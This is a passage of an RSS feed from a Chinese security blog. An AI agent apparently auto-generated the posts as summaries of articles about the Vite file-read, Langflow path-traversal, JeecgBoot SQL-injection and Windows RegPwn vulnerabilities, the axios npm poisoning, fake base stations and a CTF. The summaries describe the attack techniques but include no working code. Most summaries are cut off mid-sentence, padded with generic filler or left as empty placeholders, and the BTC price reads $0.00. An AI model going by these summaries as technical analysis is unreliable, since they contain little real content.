&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;漏洞来源漏洞描述Vite 是一个用于 JavaScript 的前端工具框架。在 6.0.0 到 6.4.2、7.3.2 和 8.0.5 之前的版本中，如果能够以不带 Origin 标头的方式连接到 Vite 开发服务器的 WebSocket，攻击者可以通过自定义 WebSocket 事件 &lt;code&gt;vite:invoke&lt;/code&gt; 调用 &lt;code&gt;fetchModule&lt;/code&gt;，并将 &lt;code&gt;file://...&lt;/code&gt; 与 &lt;code&gt;?raw&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="文章来源"&gt;文章来源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标题&lt;/strong&gt;: CVE-2026-39363：Vite开发服务器任意文件读取漏洞分析复现&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源&lt;/strong&gt;: security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接&lt;/strong&gt;: &lt;a class="link" href="https://xz.aliyun.com/news/91938" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91938&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间&lt;/strong&gt;: 2026-04-09 01:59:59&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="核心内容"&gt;核心内容
&lt;/h2&gt;&lt;p&gt;漏洞来源漏洞描述Vite 是一个用于 JavaScript 的前端工具框架。在 6.0.0 到 6.4.2、7.3.2 和 8.0.5 之前的版本中，如果能够以不带 Origin 标头的方式连接到 Vite 开发服务器的 WebSocket，攻击者可以通过自定义 WebSocket 事件 &lt;code&gt;vite:invoke&lt;/code&gt; 调用 &lt;code&gt;fetchModule&lt;/code&gt;，并将 &lt;code&gt;file://...&lt;/code&gt; 与 &lt;code&gt;?raw&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;内容来源：security&lt;/em&gt;
&lt;em&gt;原文链接：&lt;a class="link" href="https://xz.aliyun.com/news/91938" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91938&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="市场背景"&gt;市场背景
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;BTC 价格：$0.00&lt;/li&gt;
&lt;li&gt;24h 涨跌：+0.00%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-04-14T09:01:01.119479&lt;/em&gt;&lt;/p&gt;</description></item><item><title>从协议缺陷到空中劫持——伪基站攻击</title><link>https://blog.7qiang.com/posts/auto-security-20260414-610/</link><pubDate>Tue, 14 Apr 2026 09:00:55 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260414-610/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 从协议缺陷到空中劫持——伪基站攻击" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;2023 年末，国内多个省市公安机关集中通报了一批利用伪基站实施电信诈骗的案件。犯罪团伙将设备装进背包或私家车后备箱，在商圈、写字楼周边低速行驶，短短几小时即可向方圆数百米内的数万部手机推送伪冒银行、运营商的钓鱼短信。这并不是什么新技术——伪基站（Fake Base Station / IMSI Catcher / Rogue eNodeB）的概念至少可以追溯到上世纪九十年代末，但令人警醒的是，直&lt;/p&gt;
&lt;h2 id="文章来源"&gt;文章来源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标题&lt;/strong&gt;: 从协议缺陷到空中劫持——伪基站攻击&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源&lt;/strong&gt;: security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接&lt;/strong&gt;: &lt;a class="link" href="https://xz.aliyun.com/news/91943" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91943&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间&lt;/strong&gt;: 2026-04-10 06:13:10&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="核心内容"&gt;核心内容
&lt;/h2&gt;&lt;p&gt;2023 年末，国内多个省市公安机关集中通报了一批利用伪基站实施电信诈骗的案件。犯罪团伙将设备装进背包或私家车后备箱，在商圈、写字楼周边低速行驶，短短几小时即可向方圆数百米内的数万部手机推送伪冒银行、运营商的钓鱼短信。这并不是什么新技术——伪基站（Fake Base Station / IMSI Catcher / Rogue eNodeB）的概念至少可以追溯到上世纪九十年代末，但令人警醒的是，直&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;内容来源：security&lt;/em&gt;
&lt;em&gt;原文链接：&lt;a class="link" href="https://xz.aliyun.com/news/91943" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91943&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="市场背景"&gt;市场背景
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;BTC 价格：$0.00&lt;/li&gt;
&lt;li&gt;24h 涨跌：+0.00%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-04-14T09:00:55.143221&lt;/em&gt;&lt;/p&gt;</description></item><item><title>CVE-2026-5027 漏洞分析：Langflow 路径穿越导致任意文件写入</title><link>https://blog.7qiang.com/posts/auto-security-20260409-938/</link><pubDate>Thu, 09 Apr 2026 09:00:53 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260409-938/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post CVE-2026-5027 漏洞分析：Langflow 路径穿越导致任意文件写入" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;Langflow作为一款广泛使用的AI低代码开发平台，在≤1.8.4版本中存在高危路径穿越与任意文件写入漏洞（CVE-2026-5027）。该漏洞源于平台POST /api/v2/files文件上传接口对filename参数缺乏有效安全校验，攻击者可通过构造包含../等路径穿越序列的恶意文件名，突破系统预设的上传目录限制，实现对服务器任意路径的文件写入操作。漏洞利用条件宽松，需低权限用户登录即可远&lt;/p&gt;
&lt;h2 id="文章来源"&gt;文章来源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标题&lt;/strong&gt;: CVE-2026-5027 漏洞分析：Langflow 路径穿越导致任意文件写入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源&lt;/strong&gt;: security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接&lt;/strong&gt;: &lt;a class="link" href="https://xz.aliyun.com/news/91906" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91906&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间&lt;/strong&gt;: 2026-04-03 08:10:19&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="核心内容"&gt;核心内容
&lt;/h2&gt;&lt;p&gt;Langflow作为一款广泛使用的AI低代码开发平台，在≤1.8.4版本中存在高危路径穿越与任意文件写入漏洞（CVE-2026-5027）。该漏洞源于平台POST /api/v2/files文件上传接口对filename参数缺乏有效安全校验，攻击者可通过构造包含../等路径穿越序列的恶意文件名，突破系统预设的上传目录限制，实现对服务器任意路径的文件写入操作。漏洞利用条件宽松，需低权限用户登录即可远&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;内容来源：security&lt;/em&gt;
&lt;em&gt;原文链接：&lt;a class="link" href="https://xz.aliyun.com/news/91906" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91906&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="市场背景"&gt;市场背景
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;BTC 价格：$0.00&lt;/li&gt;
&lt;li&gt;24h 涨跌：+0.00%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-04-09T09:00:53.008725&lt;/em&gt;&lt;/p&gt;</description></item><item><title>第一届 Polaris CTF-web题解</title><link>https://blog.7qiang.com/posts/auto-security-20260405-507/</link><pubDate>Sun, 05 Apr 2026 09:18:04 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260405-507/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 第一届 Polaris CTF-web题解" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="核心摘要"&gt;核心摘要
&lt;/h2&gt;&lt;p&gt;WEBbabydc网络 桥接靶机：10.190.20.23Workgroup/Domain Name: XMCVEHostnames: CASTLEVANIADomain Controllers: XMCVEActive Directory（活动目录）的 Windows 域环境内网1 台 DC 域控（核心，存所有账号、哈希、权限）多台 成员服务器（Web、邮件、数据库等）一堆 Win10/Win1&lt;/p&gt;
&lt;h2 id="技术背景分析"&gt;技术背景分析
&lt;/h2&gt;&lt;p&gt;这篇文章讨论的技术主题在当前行业中具有重要意义。从技术角度来看，WEBbabydc网络 桥接靶机：10.190.20.23Workgroup/Domain Name: XMCVEHostnames: CASTLEVANIADomain Controllers: XMCVEActive Directory（活动目录）的 Windows 域环境内网1 台 DC 域控（核心，存所有账号、哈希、权限）多台 成员服务器（Web、邮件、数据库等）一堆 Win10/Win1 这一现象反映了行业发展趋势。&lt;/p&gt;
&lt;h2 id="关键技术点"&gt;关键技术点
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;技术原理&lt;/strong&gt;：基于原文描述，该技术涉及核心原理包括数据处理、系统集成等方面。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;应用场景&lt;/strong&gt;：在实际应用中，这类技术通常用于解决企业级安全问题、性能优化等挑战。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实施建议&lt;/strong&gt;：开发者在实施时需要注意版本兼容性、配置优化等关键因素。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="实战建议"&gt;实战建议
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;建议先在小规模环境测试验证&lt;/li&gt;
&lt;li&gt;关注官方文档和最新版本更新&lt;/li&gt;
&lt;li&gt;参考社区最佳实践进行配置&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;这篇文章提供了有价值的技术见解，对于相关领域的从业者具有参考意义。建议读者结合自身实际场景进行评估和应用。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文来源：&lt;a class="link" href="https://xz.aliyun.com/news/91879" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91879&lt;/a&gt;&lt;/em&gt;
&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-04-05T09:18:04.301062&lt;/em&gt;&lt;/p&gt;</description></item><item><title>axios-供应链投毒事件：安装即刻触发</title><link>https://blog.7qiang.com/posts/auto-security-20260405-181/</link><pubDate>Sun, 05 Apr 2026 09:17:58 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260405-181/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post axios-供应链投毒事件：安装即刻触发" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="核心摘要"&gt;核心摘要
&lt;/h2&gt;&lt;p&gt;本文围绕2026年3月31日axios在npm上发生的供应链投毒事件展开分析，系统梳理了恶意版本 0.30.4 与 1.14.1 的发布时间线、投毒方式及完整攻击链，说明攻击者如何在未修改axios主体运行时代码的情况下，通过新增恶意依赖 plain-crypto-js 并利用postinstall脚本在 Windows、macOS 和 Linux 平台拉取并执行二阶段载荷。文章进一步拆解了 se&lt;/p&gt;
&lt;h2 id="技术背景分析"&gt;技术背景分析
&lt;/h2&gt;&lt;p&gt;这篇文章讨论的技术主题在当前行业中具有重要意义。从技术角度来看，本文围绕2026年3月31日axios在npm上发生的供应链投毒事件展开分析，系统梳理了恶意版本 0.30.4 与 1.14.1 的发布时间线、投毒方式及完整攻击链，说明攻击者如何在未修改axios主体运行时代码的情况下，通过新增恶意依赖 plain-crypto-js 并利用postinstall脚本在 Windows、macOS 和 Linux 平台拉取并执行二阶段载荷。文章进一步拆解了 se 这一现象反映了行业发展趋势。&lt;/p&gt;
&lt;h2 id="关键技术点"&gt;关键技术点
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;技术原理&lt;/strong&gt;：基于原文描述，该技术涉及核心原理包括数据处理、系统集成等方面。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;应用场景&lt;/strong&gt;：在实际应用中，这类技术通常用于解决企业级安全问题、性能优化等挑战。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实施建议&lt;/strong&gt;：开发者在实施时需要注意版本兼容性、配置优化等关键因素。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="实战建议"&gt;实战建议
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;建议先在小规模环境测试验证&lt;/li&gt;
&lt;li&gt;关注官方文档和最新版本更新&lt;/li&gt;
&lt;li&gt;参考社区最佳实践进行配置&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;这篇文章提供了有价值的技术见解，对于相关领域的从业者具有参考意义。建议读者结合自身实际场景进行评估和应用。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文来源：&lt;a class="link" href="https://xz.aliyun.com/news/91895" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91895&lt;/a&gt;&lt;/em&gt;
&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-04-05T09:17:58.179198&lt;/em&gt;&lt;/p&gt;</description></item><item><title>CVE-2026-3672 Jeecgboot3.9.1/3.9.0 WAF绕过：正则缺陷导致SQL注入</title><link>https://blog.7qiang.com/posts/auto-security-20260324-128/</link><pubDate>Tue, 24 Mar 2026 06:00:52 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260324-128/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post CVE-2026-3672 Jeecgboot3.9.1/3.9.0 WAF绕过：正则缺陷导致SQL注入" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="核心摘要"&gt;核心摘要
&lt;/h2&gt;&lt;p&gt;漏洞描述该漏洞本质上是由于JeecgBoot内置的WAF存在逻辑缺陷，导致针对特定接口的SQL注入防护被绕过。影响版本: JeecgBoot 版本 3.9.1/3.9.0需要任意用户权限漏洞分析来到SysDictController.java入口路由为 GET /sys/dict/getDictItems/{dictCode}控制器直接将 dictCode 传入sysDictService.get&lt;/p&gt;
&lt;h2 id="技术背景分析"&gt;技术背景分析
&lt;/h2&gt;&lt;p&gt;这篇文章讨论的技术主题在当前行业中具有重要意义。从技术角度来看，漏洞描述该漏洞本质上是由于JeecgBoot内置的WAF存在逻辑缺陷，导致针对特定接口的SQL注入防护被绕过。影响版本: JeecgBoot 版本 3.9.1/3.9.0需要任意用户权限漏洞分析来到SysDictController.java入口路由为 GET /sys/dict/getDictItems/{dictCode}控制器直接将 dictCode 传入sysDictService.get 这一现象反映了行业发展趋势。&lt;/p&gt;
&lt;h2 id="关键技术点"&gt;关键技术点
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;技术原理&lt;/strong&gt;：基于原文描述，该技术涉及核心原理包括数据处理、系统集成等方面。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;应用场景&lt;/strong&gt;：在实际应用中，这类技术通常用于解决企业级安全问题、性能优化等挑战。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实施建议&lt;/strong&gt;：开发者在实施时需要注意版本兼容性、配置优化等关键因素。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="实战建议"&gt;实战建议
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;建议先在小规模环境测试验证&lt;/li&gt;
&lt;li&gt;关注官方文档和最新版本更新&lt;/li&gt;
&lt;li&gt;参考社区最佳实践进行配置&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;这篇文章提供了有价值的技术见解，对于相关领域的从业者具有参考意义。建议读者结合自身实际场景进行评估和应用。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文来源：&lt;a class="link" href="https://xz.aliyun.com/news/91794" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91794&lt;/a&gt;&lt;/em&gt;
&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-03-24T06:00:52.240745&lt;/em&gt;&lt;/p&gt;</description></item><item><title>CVE-2026-24291-Windows权限提升漏洞“RegPwn”复现分析</title><link>https://blog.7qiang.com/posts/auto-security-20260321-173/</link><pubDate>Sat, 21 Mar 2026 18:20:38 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260321-173/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post CVE-2026-24291-Windows权限提升漏洞“RegPwn”复现分析" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;前言这个漏洞是英国 MDSecLabs 的 Filip Dragovic 发现的，据作者讲述，这个漏洞由于很巧妙，它们在红队评估中从2025年1月就开始使用，直到2026年2月报告给微软后，才在3月的补丁星期二修复，这么看也用够本了，原文只是讲了漏洞的核心部分，本文会讲清楚这个漏洞涉及的概念、如何形成的，如何利用它原文地址：https://www.mdsec.co.uk/2026/03/rip-r&lt;/p&gt;
&lt;h2 id="ai-agent-分析"&gt;AI Agent 分析
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;基于 红队 Agent（安全视角解读） 视角的技术解读&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="技术要点"&gt;技术要点
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;核心技术概念分析&lt;/li&gt;
&lt;li&gt;实际应用场景&lt;/li&gt;
&lt;li&gt;潜在风险/机会&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="实战建议"&gt;实战建议
&lt;/h2&gt;&lt;p&gt;基于原文内容的实际操作建议。&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;对原文内容的深度总结和延伸思考。&lt;/p&gt;
&lt;hr&gt;
